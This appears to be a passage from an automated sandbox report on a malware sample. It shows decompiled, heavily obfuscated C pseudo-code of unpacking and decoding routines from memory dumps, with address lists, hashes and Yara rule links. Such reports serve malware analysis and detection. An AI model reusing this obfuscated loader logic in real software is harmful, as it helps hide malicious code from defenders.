					return memcpy(_t366, _t394 + 1, _t310);
				} else {
					_pop(_t305);
					if( *(_t305 + 0x418627) == 0) {
						_v44 =  *((intOrPtr*)(_t305 + 0x4182e3));
						_t299 = _t259;
						_v48 =  *((intOrPtr*)(_t305 + 0x4184b3));
						_t429 = _t417;
						_v52 =  *((intOrPtr*)(_t305 + 0x41802f));
						_t417 = _t429;
						_v32 = 0;
						_v56 = _v56 ^ _t299;
						_v60 =  *((intOrPtr*)(_t305 + 0x418470));
						_t380 = _t361;
						_t259 =  *((intOrPtr*)(_t305 + 0x45d048))(_t361, _v32, _t306, _t417, _t342);
						 *(_t305 + 0x418627) =  *(_t305 + 0x418627) & 0x00000000;
						 *(_t305 + 0x418627) =  *(_t305 + 0x418627) ^ (_t380 - _v64 | _t259);
						_t361 = _t380;
					}
					if( *(_t305 + 0x418077) == 0) {
						if( *(_t305 + 0x418517) == 0) {
							_v44 =  *((intOrPtr*)(_t305 + 0x4182ff));
							_t294 = _t259;
							_v48 =  *((intOrPtr*)(_t305 + 0x41810b));
							_t417 = _t417;
							_v52 =  *((intOrPtr*)(_t305 + 0x418217));
							_t361 = _v56;
							_v56 =  *(_t305 + 0x418173);
							_v60 =  *(_t305 + 0x418546);
							_t385 = _t385;
							_t297 =  *((intOrPtr*)(_t305 + 0x45d048))(_v52, _t361, _t294, _t385, _t306);
							_v32 = _t306;
							 *(_t305 + 0x418517) =  *(_t305 + 0x418517) & 0x00000000;
							 *(_t305 + 0x418517) =  *(_t305 + 0x418517) ^ (_t306 & 0x00000000 | _t297);
							_t306 = _v32;
						}
						_t288 =  *((intOrPtr*)(_t305 + 0x45d020))();
						_v44 = _v44 & 0x00000000;
						_v44 = _v44 ^ _t288;
						_v36 = _v36 & 0x00000000;
						_v48 = _v48 + _t305 + 0x4185c7;
						_t290 =  *((intOrPtr*)(_t305 + 0x45d018))(_v36, _t305);
						 *(_t305 + 0x418010) =  *(_t305 + 0x418010) & 0x00000000;
						 *(_t305 + 0x418010) =  *(_t305 + 0x418010) ^ (_t306 & 0x00000000 | _t290);
						_t332 = _t306;
						_pop(_t291);
						_v40 = _t332;
						 *(_t305 + 0x418077) =  *(_t305 + 0x418077) & 0x00000000;
						 *(_t305 + 0x418077) =  *(_t305 + 0x418077) | _t332 - _v40 ^ _t291;
						_t306 = _v40;
						if( *(_t305 + 0x418400) == 0) {
							_t292 =  *((intOrPtr*)(_t305 + 0x45d020))();
							_v36 = _t385;
							 *(_t305 + 0x418400) =  *(_t305 + 0x418400) & 0x00000000;
							 *(_t305 + 0x418400) =  *(_t305 + 0x418400) | _t385 & 0x00000000 | _t292;
							_t385 = _v36;
						}
					}
					_t435 = _t417;
					 *_t435 =  *_t435 - _t342;
					 *_t435 =  *_t435 | _t305 + 0x0041804f;
					_t283 =  *((intOrPtr*)(_t305 + 0x45d018))(_t342);
					_v36 = _t361;
					 *(_t305 + 0x41800c) =  *(_t305 + 0x41800c) & 0x00000000;
					 *(_t305 + 0x41800c) =  *(_t305 + 0x41800c) ^ _t361 & 0x00000000 ^ _t283;
					if( *(_t305 + 0x418365) == 0) {
						_v40 = _v40 & 0x00000000;
						_v44 = _v44 + _t305 + 0x41802c;
						_t285 =  *((intOrPtr*)(_t305 + 0x45d018))(_v40);
						_v48 = _t306;
						 *(_t305 + 0x4180e3) = 0 ^ _t285;
						_t324 = 0;
						_t283 =  *((intOrPtr*)(_t305 + 0x45d024))();
						if( *(_t305 + 0x4183fc) == 0) {
							_v32 = _v32 & 0x00000000;
							_v48 = _v48 ^ _t283;
							_t287 =  *((intOrPtr*)(_t305 + 0x45d020))(_v32);
							 *(_t305 + 0x4183fc) =  *(_t305 + 0x4183fc) & 0x00000000;
							 *(_t305 + 0x4183fc) =  *(_t305 + 0x4183fc) ^ (_t324 - _v52 | _t287);
							_t324 = _t324;
							_pop(_t283);
						}
						_v40 = _t324;
						 *(_t305 + 0x418365) =  *(_t305 + 0x418365) & 0x00000000;
						 *(_t305 + 0x418365) =  *(_t305 + 0x418365) | _t324 & 0x00000000 ^ _t283;
						if( *(_t305 + 0x41853e) == 0) {
							_t286 =  *((intOrPtr*)(_t305 + 0x45d020))();
							_v36 = _t385;
							 *(_t305 + 0x41853e) =  *(_t305 + 0x41853e) & 0x00000000;
							 *(_t305 + 0x41853e) =  *(_t305 + 0x41853e) | _t385 ^ _v36 ^ _t286;
							return _t286;
						}
					}
					return _t283;
				}
			}

0x024c1918
0x024c1918
0x024c1918
0x024c1919
0x024c191c
0x024c191f
0x024c1921
0x024c1924
0x024c1927
0x024c192a
0x024c1934
0x024c1936
0x024c193c
0x024c1940
0x024c1941
0x024c1948
0x024c1948
0x024c194b
0x024c1952
0x024c1954
0x024c195b
0x024c1962
0x024c1962
0x024c196d
0x024c1c7c
0x024c1c99
0x024c1c9b
0x024c1ca2
0x024c1ca9
0x024c1ca9
0x024c1c7e
0x024c1c7e
0x024c1c85
0x024c1c8c
0x024c1c8c
0x024c1cb0
0x024c1cb1
0x024c1cb5
0x024c1cc1
0x024c1cc6
0x024c1cc6
0x024c1cc9
0x024c1ccc
0x024c1ccf
0x024c1cd4
0x024c1cdb
0x024c1cde
0x024c1cdf
0x024c1ceb
0x024c1ced
0x024c1cf0
0x024c1cf9
0x024c1cfc
0x024c1cfd
0x024c1d04
0x024c1d07
0x024c1d0a
0x024c1d0a
0x024c1d15
0x024c1d17
0x024c1d1a
0x024c1d1d
0x024c1d1f
0x024c1d20
0x024c1d2c
0x024c1d2e
0x024c1d31
0x024c1d31
0x024c1d37
0x024c1d41
0x024c1d42
0x024c1d44
0x024c1d46
0x024c1d47
0x024c1d49
0x024c1d4b
0x024c1d4c
0x024c1d4c
0x024c1d4c
0x024c1d51
0x024c1d59
0x024c1d63
0x024c1d67
0x024c1d70
0x024c1d74
0x024c1d7c
0x024c1d7f
0x024c1d85
0x024c1d8d
0x024c1d94
0x024c1d9a
0x024c1d9a
0x024c1da4
0x024c1db1
0x024c1dba
0x024c1dc0
0x024c1dc4
0x024c1dc8
0x024c1dd3
0x024c1dd7
0x024c1de0
0x024c1de4
0x024c1de5
0x024c1deb
0x024c1df2
0x024c1df8
0x024c1df8
0x024c1dfb
0x024c1e08
0x024c1e0a
0x024c1e11
0x024c1e1c
0x024c1e20
0x024c1e22
0x024c1e26
0x024c1e29
0x024c1e33
0x024c1e3c
0x024c1e3d
0x024c1e40
0x024c1e43
0x024c1e49
0x024c1e49
0x024c1e4c
0x024c1e53
0x024c1e59
0x024c1e61
0x024c1e6a
0x024c1e6a
0x024c1e74
0x024c1e7e
0x024c1e88
0x024c1e88
0x024c1e8b
0x024c1e91
0x024c1e98
0x024c1e9e
0x024c1e9e
0x024c1e61
0x024c1eab
0x024c1ead
0x024c1eb5
0x024c1eb7
0x024c1ec1
0x024c1ecb
0x024c1ecb
0x024c1ed5
0x024c1ed5
0x024c1ee0
0x024c1ee4
0x024c1eec
0x024c1eef
0x024c1efb
0x024c1f02
0x024c1f08
0x024c1f09
0x024c1f09
0x024c1f11
0x024c1f1e
0x024c1f23
0x024c1f26
0x024c1f2c
0x024c1f33
0x024c1f39
0x024c1f3c
0x024c1f3c
0x024c1f3d
0x024c1f44
0x024c1f47
0x024c1f4e
0x024c1f51
0x024c1f54
0x024c1f5a
0x024c1f61
0x024c1f67
0x024c1f6a
0x024c1f72
0x024c1f76
0x024c1f7e
0x024c1f88
0x024c1f95
0x024c1f99
0x024c1fa1
0x024c1fa2
0x024c1fa5
0x024c1fa8
0x024c1fa8
0x024c1fae
0x024c1fb5
0x024c1fbf
0x024c1fc8
0x024c1fcb
0x024c1fce
0x024c1fce
0x024c1fdb
0x024c1fdb
0x024c1fde
0x024c1fe4
0x024c1feb
0x024c1ff1
0x024c1ff4
0x024c1ff4
0x024c1ffa
0x024c1973
0x024c1973
0x024c197b
0x024c1985
0x024c1989
0x024c1992
0x024c1996
0x024c199f
0x024c19a3
0x024c19a4
0x024c19ae
0x024c19b9
0x024c19bd
0x024c19be
0x024c19ca
0x024c19d1
0x024c19d7
0x024c19d7
0x024c19df
0x024c19ec
0x024c19f6
0x024c19fa
0x024c1a03
0x024c1a07
0x024c1a0f
0x024c1a19
0x024c1a19
0x024c1a24
0x024c1a28
0x024c1a29
0x024c1a2f
0x024c1a37
0x024c1a3e
0x024c1a44
0x024c1a44
0x024c1a47
0x024c1a4e
0x024c1a52
0x024c1a5b
0x024c1a62
0x024c1a65
0x024c1a71
0x024c1a78
0x024c1a7e
0x024c1a7f
0x024c1a80
0x024c1a88
0x024c1a8f
0x024c1a95
0x024c1a9f
0x024c1aa1
0x024c1aa7
0x024c1aaf
0x024c1ab6
0x024c1abc
0x024c1abc
0x024c1a9f
0x024c1abf
0x024c1ac7
0x024c1aca
0x024c1acd
0x024c1ad3
0x024c1adb
0x024c1ae2
0x024c1af2
0x024c1afe
0x024c1b05
0x024c1b08
0x024c1b10
0x024c1b17
0x024c1b1d
0x024c1b1e
0x024c1b2b
0x024c1b2d
0x024c1b34
0x024c1b37
0x024c1b43
0x024c1b4a
0x024c1b50
0x024c1b51
0x024c1b51
0x024c1b52
0x024c1b5a
0x024c1b61
0x024c1b71
0x024c1b73
0x024c1b79
0x024c1b81
0x024c1b88
0x00000000
0x024c1b8e
0x024c1b71
0x024c1b91
0x024c1b91

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b932141b5672c0b40a06f11913d735f0f9495efb84fabef623221ee9858e0d59
Instruction ID: 31db0ab02702ae80d4fece5a626b054046f16369917751edc05d7c86db574aad
Opcode Fuzzy Hash: b932141b5672c0b40a06f11913d735f0f9495efb84fabef623221ee9858e0d59
Instruction Fuzzy Hash: 8F126A72804218DFEF048F54C9857AEBBF4FF48715F1980AEDC49AA246CB781951CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 024C1B95, Relevance: .3, Instructions: 340
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E024C1B95(signed int __ecx, signed int __edx, signed int __edi, signed int __esi) {
				signed int _t190;
				signed int _t192;
				signed int _t193;
				signed int _t197;
				signed int _t198;
				signed int _t201;
				void* _t203;
				signed int _t206;
				signed int _t210;
				signed int _t214;
				signed int _t217;
				void* _t220;
				signed int _t224;
				int _t226;
				void* _t229;
				signed int _t235;
				signed int _t242;
				signed int _t244;
				signed int _t247;
				signed int _t252;
				signed int _t259;
				signed int _t261;
				void* _t264;
				signed int _t281;
				signed int _t283;
				signed int _t284;
				signed int _t291;
				signed int _t305;
				signed int* _t314;

				_t275 = __esi;
				_t259 = __edi;
				_t222 = __ecx;
				_t217 = 0x4181a7;
				 *((intOrPtr*)(_t305 + 0x1e)) =  *((intOrPtr*)(_t305 + 0x1e)) + __edx;
				_t190 =  *0x008751C3();
				 *(_t305 - 0x20) = __edx;
				 *0x0083034E =  *0x0083034E & 0x00000000;
				 *0x0083034E =  *0x0083034E | __edx ^  *(_t305 - 0x20) | _t190;
				_t242 =  *(_t305 - 0x20);
				if( *0x00830706 != 0) {
					L6:
					if( *((intOrPtr*)(_t305 - 0x14)) != 2) {
						if( *((intOrPtr*)(_t305 - 0x14)) == 4) {
							 *(_t305 - 0x10) = 1;
							 *(_t305 - 0x18) = 0x55;
							 *(_t305 - 0xc) = 2;
						}
					} else {
						 *(_t305 - 0x10) = 3;
						 *(_t305 - 0x18) = 0x11;
						 *(_t305 - 0xc) = 4;
					}
					_push(_t242);
					 *_t314 =  *_t314 ^ _t242;
					 *(_t305 - 0x20) = _t275;
					_t192 = _t190 & 0x00000000 | _t275 & 0x00000000 ^  *(_t305 - 4);
					_t193 = _t192 /  *(_t305 - 0xc);
					_t244 = _t192 %  *(_t305 - 0xc);
					_push( *(_t305 - 4));
					 *_t314 =  *_t314 - _t244;
					_pop( *_t63);
					 *_t314 =  *(_t305 - 0x20);
					 *(_t305 - 8) = _t244;
					_t281 = 0;
					 *(_t305 - 0x24) = _t244;
					_t283 = _t281 & 0x00000000 ^ (_t244 & 0x00000000 |  *(_t305 + 8));
					_t247 =  *(_t305 - 0x24);
					_push(_t247);
					_t261 = _t259 & 0x00000000 ^ (_t247 & 0x00000000 | _t283);
					_t284 = _t283 - 1;
					 *(_t305 - 0x1c) = 0;
					_push( *(_t305 - 0x1c));
					 *_t314 =  *_t314 + _t217;
					do {
						 *(_t305 - 0x24) = _t217;
						_t224 = _t222 & 0x00000000 ^ (_t217 & 0x00000000 | _t261);
						_t217 =  *(_t305 - 0x24);
						_t222 = _t224 &  *(_t305 - 0x10);
						if(_t222 == 0) {
							_t284 = _t284 + 1;
							 *(_t305 - 0x1c) = _t261;
							_t193 = _t193 & 0x00000000 ^ (_t261 & 0x00000000 |  *(_t305 - 0xc));
							_t261 =  *(_t305 - 0x1c);
							_t217 =  *(_t193 + _t284) & 0x000000ff;
						}
						 *_t314 = _t284;
						_t284 = 0;
						asm("rol edx, cl");
						_t252 = (0 ^  *(_t305 - 0x18)) & _t217;
						asm("lodsb");
						_t193 = _t193 | _t252;
						 *_t261 = _t193;
						_t261 = _t261 + 1;
						_t78 = _t305 - 4;
						 *_t78 =  *(_t305 - 4) - 1;
					} while ( *_t78 != 0);
					_pop(_t220);
					if( *(_t220 + 0x4182ab) == 0) {
						_t314[1] =  *(_t220 + 0x4181ff);
						_t235 = _t222;
						_t314[1] =  *(_t220 + 0x41843c);
						_t252 = _t252;
						 *_t314 =  *(_t220 + 0x418293);
						_t193 =  *((intOrPtr*)(_t220 + 0x45d040))(_t193, _t305, _t252);
						 *(_t305 - 0x1c) = _t235;
						 *(_t220 + 0x4182ab) =  *(_t220 + 0x4182ab) & 0x00000000;
						 *(_t220 + 0x4182ab) =  *(_t220 + 0x4182ab) ^ _t235 & 0x00000000 ^ _t193;
						_t222 =  *(_t305 - 0x1c);
					}
					if( *(_t220 + 0x4183d4) == 0) {
						if( *(_t220 + 0x418037) == 0) {
							 *_t314 =  *(_t220 + 0x41816f);
							 *_t314 = _t284;
							 *_t314 =  *_t314 & 0x00000000;
							 *_t314 =  *_t314 | _t252;
							_t314[1] =  *(_t220 + 0x41859f);
							_t252 = _t252;
							_t314[1] =  *(_t220 + 0x41808b);
							_t284 = _t284;
							_t210 =  *((intOrPtr*)(_t220 + 0x45d048))(_t222, _t252, _t220,  *(_t305 - 0x20), _t193);
							 *(_t305 - 0x24) = _t222;
							 *(_t220 + 0x418037) = 0 ^ _t210;
							_t222 =  *(_t305 - 0x24);
						}
						_t193 =  *((intOrPtr*)(_t220 + 0x45d01c))();
						if( *((intOrPtr*)(_t220 + 0x4181f7)) == 0) {
							 *(_t305 - 0x1c) =  *(_t305 - 0x1c) & 0x00000000;
							 *_t314 =  *_t314 | _t193;
							_t314[1] =  *(_t220 + 0x418438);
							_t284 = _t284;
							 *_t314 =  *_t314 & 0x00000000;
							 *_t314 =  *_t314 ^ _t261;
							 *(_t305 - 0x20) = 0;
							 *_t314 = _t314 +  *_t314;
							_push( *((intOrPtr*)(_t220 + 0x45d040))( *(_t305 - 0x20), _t252, _t193,  *(_t305 - 0x1c)));
							_pop( *_t117);
							_push( *(_t305 - 0x20));
							_pop( *_t119);
							_pop(_t193);
						}
						 *_t314 = _t305;
						 *(_t220 + 0x4183d4) = 0 ^ _t193;
						_t305 = 0;
						if( *(_t220 + 0x418450) == 0) {
							_t252 =  *_t314;
							 *_t314 =  *(_t220 + 0x418567);
							 *_t314 =  *(_t220 + 0x4183bc);
							 *_t314 =  *(_t220 + 0x4180bb);
							_t305 =  *_t314;
							 *_t314 =  *(_t220 + 0x418513);
							_t193 =  *((intOrPtr*)(_t220 + 0x45d044))( *_t314, _t284, _t305, _t252);
							 *(_t305 - 0x20) =  *_t314;
							 *(_t220 + 0x418450) = 0 ^ _t193;
							_t284 =  *(_t305 - 0x20);
						}
					}
					_t226 = _t222 & 0x00000000 ^ _t261 & 0x00000000 ^  *(_t305 - 8);
					_t264 = _t261;
					if( *(_t220 + 0x41803b) == 0) {
						 *(_t305 - 0x20) = 0;
						 *_t314 =  *_t314 | _t226;
						_t291 =  *_t314;
						 *_t314 =  *(_t220 + 0x418057);
						_t252 =  *_t314;
						 *_t314 =  *(_t220 + 0x418028);
						_t314[1] =  *(_t220 + 0x4183e8);
						_t203 = _t193;
						 *_t314 =  *(_t220 + 0x4185ef);
						_t206 =  *((intOrPtr*)(_t220 + 0x45d044))(_t305, _t252, _t284,  *(_t305 - 0x20));
						 *(_t220 + 0x41803b) =  *(_t220 + 0x41803b) & 0x00000000;
						 *(_t220 + 0x41803b) =  *(_t220 + 0x41803b) ^ _t291 & 0x00000000 ^ _t206;
						_t284 = _t291;
						_t226 = _t203;
					}
					if( *(_t220 + 0x41849f) == 0) {
						if( *(_t220 + 0x41861f) == 0) {
							 *_t314 = _t226;
							_t201 =  *((intOrPtr*)(_t220 + 0x45d01c))( *(_t305 - 0x20));
							 *(_t305 - 0x20) = _t264;
							 *(_t220 + 0x41861f) = 0 ^ _t201;
							_t264 =  *(_t305 - 0x20);
							_pop(_t226);
						}
						 *(_t305 - 0x24) =  *(_t305 - 0x24) & 0x00000000;
						 *_t314 =  *_t314 + _t226;
						_t161 = _t220 + 0x418533; // 0x418533
						 *_t314 =  *_t314 ^ _t305;
						 *_t314 =  *_t314 ^ _t161;
						_t197 =  *((intOrPtr*)(_t220 + 0x45d018))(_t305,  *(_t305 - 0x24));
						 *(_t305 - 0x20) = _t264;
						 *(_t220 + 0x4185cf) = 0 ^ _t197;
						_t264 =  *(_t305 - 0x20);
						_push(_t252);
						_t314[1] =  *(_t220 + 0x418243);
						_t229 = _t226;
						if( *((intOrPtr*)(_t220 + 0x41862b)) == 0) {
							_t314[1] =  *(_t220 + 0x418414);
							_t314[1] =  *(_t220 + 0x4183cc);
							_t305 = _t305;
							_push( *((intOrPtr*)(_t220 + 0x45d03c))(_t314, _t197, _t229, _t264));
							_pop( *_t174);
							_push( *(_t305 - 0x20));
							_pop( *_t176);
						}
						_push(_t252);
						 *_t314 =  *(_t220 + 0x41814b);
						if( *((intOrPtr*)(_t220 + 0x41851b)) == 0) {
							 *_t181 =  *((intOrPtr*)(_t220 + 0x45d024))();
							 *_t183 =  *(_t305 - 0x1c);
						}
						_t305 =  *_t314;
						 *_t314 =  *(_t220 + 0x4182a7);
						_t198 =  *((intOrPtr*)(_t220 + 0x45d040))();
						 *(_t305 - 0x20) = _t284;
						 *(_t220 + 0x41849f) = 0 ^ _t198;
						_t284 =  *(_t305 - 0x20);
						_t226 = _t305;
					}
					return memcpy(_t264, _t284 + 1, _t226);
				}
				if( *0x0083047E == 0) {
					_push(__ecx);
					 *_t314 =  *_t314 ^ __ecx;
					 *_t314 =  *_t314 ^ __edi;
					_push(__ecx);
					_t222 =  *_t314;
					 *_t314 =  *0x008302CA;
					_push(_t190);
					_push(_t190);
					_t314[1] =  *0x00830266;
					_push( *(_t305 - 0x1c));
					 *_t314 = _t314;
					_t190 =  *0x008751EB();
					 *(_t305 - 0x1c) = __esi;
					 *0x0083047E =  *0x0083047E & 0x00000000;
					 *0x0083047E =  *0x0083047E ^ __esi & 0x00000000 ^ _t190;
					_t275 =  *(_t305 - 0x1c);
				}
				_push(_t222);
				_t314[1] =  *(_t217 + 0x41829f);
				_t214 = _t190;
				if( *(_t217 + 0x41827b) == 0) {
					_t214 =  *((intOrPtr*)(_t217 + 0x45d020))();
					 *(_t217 + 0x41827b) =  *(_t217 + 0x41827b) & 0x00000000;
					 *(_t217 + 0x41827b) =  *(_t217 + 0x41827b) ^ _t275 ^  *_t314 ^ _t214;
					_t275 = _t275;
				}
				_t314[1] =  *(_t217 + 0x4183c8);
				_t275 = _t275;
				 *(_t305 - 0x24) =  *(_t305 - 0x24) & 0x00000000;
				 *_t314 =  *_t314 + _t217;
				_t190 =  *((intOrPtr*)(_t217 + 0x45d040))( *(_t305 - 0x24), _t214);
				 *(_t305 - 0x20) = _t259;
				 *(_t217 + 0x41855f) =  *(_t217 + 0x41855f) & 0x00000000;
				 *(_t217 + 0x41855f) =  *(_t217 + 0x41855f) ^ (_t259 & 0x00000000 | _t190);
				_t259 =  *(_t305 - 0x20);
				goto L6;
			}

0x024c1b95
0x024c1b95
0x024c1b95
0x024c1b95
0x024c1b9a
0x024c1b9d
0x024c1ba3
0x024c1bab
0x024c1bb2
0x024c1bb8
0x024c1bc2
0x024c1c78
0x024c1c7c
0x024c1c99
0x024c1c9b
0x024c1ca2
0x024c1ca9
0x024c1ca9
0x024c1c7e
0x024c1c7e
0x024c1c85
0x024c1c8c
0x024c1c8c
0x024c1cb0
0x024c1cb1
0x024c1cb5
0x024c1cc1
0x024c1cc6
0x024c1cc6
0x024c1cc9
0x024c1ccc
0x024c1ccf
0x024c1cd4
0x024c1cdb
0x024c1cde
0x024c1cdf
0x024c1ceb
0x024c1ced
0x024c1cf0
0x024c1cf9
0x024c1cfc
0x024c1cfd
0x024c1d04
0x024c1d07
0x024c1d0a
0x024c1d0a
0x024c1d15
0x024c1d17
0x024c1d1a
0x024c1d1d
0x024c1d1f
0x024c1d20
0x024c1d2c
0x024c1d2e
0x024c1d31
0x024c1d31
0x024c1d37
0x024c1d41
0x024c1d42
0x024c1d44
0x024c1d46
0x024c1d47
0x024c1d49
0x024c1d4b
0x024c1d4c
0x024c1d4c
0x024c1d4c
0x024c1d51
0x024c1d59
0x024c1d63
0x024c1d67
0x024c1d70
0x024c1d74
0x024c1d7c
0x024c1d7f
0x024c1d85
0x024c1d8d
0x024c1d94
0x024c1d9a
0x024c1d9a
0x024c1da4
0x024c1db1
0x024c1dba
0x024c1dc0
0x024c1dc4
0x024c1dc8
0x024c1dd3
0x024c1dd7
0x024c1de0
0x024c1de4
0x024c1de5
0x024c1deb
0x024c1df2
0x024c1df8
0x024c1df8
0x024c1dfb
0x024c1e08
0x024c1e0a
0x024c1e11
0x024c1e1c
0x024c1e20
0x024c1e22
0x024c1e26
0x024c1e29
0x024c1e33
0x024c1e3c
0x024c1e3d
0x024c1e40
0x024c1e43
0x024c1e49
0x024c1e49
0x024c1e4c
0x024c1e53
0x024c1e59
0x024c1e61
0x024c1e6a
0x024c1e6a
0x024c1e74
0x024c1e7e
0x024c1e88
0x024c1e88
0x024c1e8b
0x024c1e91
0x024c1e98
0x024c1e9e
0x024c1e9e
0x024c1e61
0x024c1eab
0x024c1ead
0x024c1eb5
0x024c1eb7
0x024c1ec1
0x024c1ecb
0x024c1ecb
0x024c1ed5
0x024c1ed5
0x024c1ee0
0x024c1ee4
0x024c1eec
0x024c1eef
0x024c1efb
0x024c1f02
0x024c1f08
0x024c1f09
0x024c1f09
0x024c1f11
0x024c1f1e
0x024c1f23
0x024c1f26
0x024c1f2c
0x024c1f33
0x024c1f39
0x024c1f3c
0x024c1f3c
0x024c1f3d
0x024c1f44
0x024c1f47
0x024c1f4e
0x024c1f51
0x024c1f54
0x024c1f5a
0x024c1f61
0x024c1f67
0x024c1f6a
0x024c1f72
0x024c1f76
0x024c1f7e
0x024c1f88
0x024c1f95
0x024c1f99
0x024c1fa1
0x024c1fa2
0x024c1fa5
0x024c1fa8
0x024c1fa8
0x024c1fae
0x024c1fb5
0x024c1fbf
0x024c1fc8
0x024c1fce
0x024c1fce
0x024c1fdb
0x024c1fdb
0x024c1fde
0x024c1fe4
0x024c1feb
0x024c1ff1
0x024c1ff4
0x024c1ff4
0x024c1ffa
0x024c1ffa
0x024c1bcf
0x024c1bd1
0x024c1bd2
0x024c1bd5
0x024c1bd8
0x024c1bdf
0x024c1bdf
0x024c1be2
0x024c1be3
0x024c1bea
0x024c1bef
0x024c1bf2
0x024c1bf5
0x024c1bfb
0x024c1c03
0x024c1c0a
0x024c1c10
0x024c1c10
0x024c1c13
0x024c1c1b
0x024c1c1f
0x024c1c27
0x024c1c29
0x024c1c35
0x024c1c3c
0x024c1c42
0x024c1c42
0x024c1c4b
0x024c1c4f
0x024c1c50
0x024c1c57
0x024c1c5a
0x024c1c60
0x024c1c68
0x024c1c6f
0x024c1c75
0x00000000

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703cbaf3eba3860ab8286c58bd16c8eee8a180dd56076fcb0dfae4dcd8cc0aed
Instruction ID: daab8e6bab2ba1e380b1f6e70d1b9749b430f0a6cf186af0a07aaa437664a376
Opcode Fuzzy Hash: 703cbaf3eba3860ab8286c58bd16c8eee8a180dd56076fcb0dfae4dcd8cc0aed
Instruction Fuzzy Hash: AEE14C72804614DFEF008F54C9857EEBBB5FF88715F19849EED48AB246CB781851CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 024C237B, Relevance: .3, Instructions: 291
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E024C237B(void* __ecx, signed int __edx, void* __edi, signed int __esi) {
				signed int _t171;
				signed int _t175;
				signed int _t177;
				signed int _t178;
				signed int _t179;
				signed int _t182;
				void* _t184;
				signed int _t186;
				signed int _t187;
				signed int _t190;
				void* _t196;
				signed int _t197;
				signed int _t205;
				signed int _t211;
				signed int _t218;
				signed int _t220;
				signed int _t222;
				signed int _t227;
				void* _t237;
				signed int _t239;
				signed int _t243;
				signed int _t244;
				signed int _t258;
				signed int _t259;
				void* _t262;
				signed int _t263;
				signed int _t265;
				void* _t266;
				void* _t276;
				signed int _t278;
				signed int _t283;
				signed int* _t288;

				_t258 = __esi;
				_t190 = 0x4181d3;
				 *((intOrPtr*)(_t283 + 0x1e)) =  *((intOrPtr*)(_t283 + 0x1e)) + __edx;
				_t171 =  *0x008751F7();
				 *(_t283 - 0x10) = __edx;
				 *0x008303A6 =  *0x008303A6 & 0x00000000;
				 *0x008303A6 =  *0x008303A6 | __edx & 0x00000000 | _t171;
				_t218 =  *(_t283 - 0x10);
				_t243 =  *(__edi + 0x80);
				if( *0x008304FF == 0) {
					_t171 =  *0x008751F3();
					 *(_t283 - 0x10) = _t243;
					 *0x008304FF = _t171;
					_t243 =  *(_t283 - 0x10);
				}
				_t244 = _t243 +  *(_t283 + 8);
				if( *(_t190 + 0x41859b) == 0) {
					_t171 =  *((intOrPtr*)(_t190 + 0x45d024))();
					 *(_t283 - 0x10) = _t258;
					 *(_t190 + 0x41859b) =  *(_t190 + 0x41859b) & 0x00000000;
					 *(_t190 + 0x41859b) =  *(_t190 + 0x41859b) ^ _t258 & 0x00000000 ^ _t171;
					_t263 =  *(_t283 - 0x10);
				}
				do {
					if( *_t244 != 0) {
						 *_t288 = _t171;
						_t259 = 0 ^  *_t244;
						_t171 = 0;
						if( *(_t190 + 0x41816b) == 0) {
							_t288[1] =  *(_t190 + 0x418487);
							_t218 =  *_t288;
							 *_t288 =  *(_t190 + 0x418338);
							_t205 =  *_t288;
							 *_t288 =  *(_t190 + 0x4183ec);
							_t171 =  *((intOrPtr*)(_t190 + 0x45d03c))(_t197, _t218, _t171, _t259);
							 *(_t283 - 0x10) = _t205;
							 *(_t190 + 0x41816b) =  *(_t190 + 0x41816b) & 0x00000000;
							 *(_t190 + 0x41816b) =  *(_t190 + 0x41816b) | _t205 ^  *(_t283 - 0x10) ^ _t171;
							_t197 =  *(_t283 - 0x10);
						}
					} else {
						if( *(_t190 + 0x418420) == 0) {
							_t171 =  *((intOrPtr*)(_t190 + 0x45d024))();
							 *(_t283 - 0x10) = _t197;
							 *(_t190 + 0x418420) = 0 ^ _t171;
							_t197 =  *(_t283 - 0x10);
						}
						 *(_t283 - 0x10) = _t190;
						_t259 = _t263 & 0x00000000 ^ _t190 -  *(_t283 - 0x10) ^  *(_t244 + 0x10);
						_t190 =  *(_t283 - 0x10);
						if( *(_t190 + 0x41812f) == 0) {
							_t288[1] =  *(_t190 + 0x418033);
							_t184 = _t171;
							 *_t288 =  *_t288 & 0x00000000;
							 *_t288 =  *_t288 + _t184;
							_t288[1] =  *(_t190 + 0x41813b);
							_t237 = _t218;
							_t239 =  *_t288;
							 *_t288 =  *(_t190 + 0x4182eb);
							_t171 =  *((intOrPtr*)(_t190 + 0x45d044))(_t237, _t259, _t190, _t171);
							 *(_t190 + 0x41812f) =  *(_t190 + 0x41812f) & 0x00000000;
							 *(_t190 + 0x41812f) =  *(_t190 + 0x41812f) ^ _t239 ^  *_t288 ^ _t171;
							_t218 = _t239;
						}
					}
					_push(_t171);
					_t175 =  *_t288;
					 *_t288 =  *(_t244 + 0x10);
					if( *(_t190 + 0x4185cb) == 0) {
						_t175 =  *((intOrPtr*)(_t190 + 0x45d024))();
						 *_t288 = _t244;
						 *(_t190 + 0x4185cb) = 0 ^ _t175;
						_t244 = 0;
					}
					_pop( *_t66);
					if( *(_t190 + 0x418273) == 0) {
						_t175 =  *((intOrPtr*)(_t190 + 0x45d020))();
						 *_t288 = _t197;
						 *(_t190 + 0x418273) = _t175;
						_t197 = 0;
					}
					_t177 = _t175 & 0x00000000 | _t259 & 0x00000000 ^  *(_t283 + 8);
					_t262 = _t259;
					if( *(_t190 + 0x418203) == 0) {
						 *_t288 =  *_t288 & 0x00000000;
						 *_t288 =  *_t288 | _t177;
						_t187 =  *((intOrPtr*)(_t190 + 0x45d020))();
						 *(_t283 - 0x10) = _t244;
						 *(_t190 + 0x418203) = 0 ^ _t187;
						_t244 =  *(_t283 - 0x10);
						_t177 = _t244;
					}
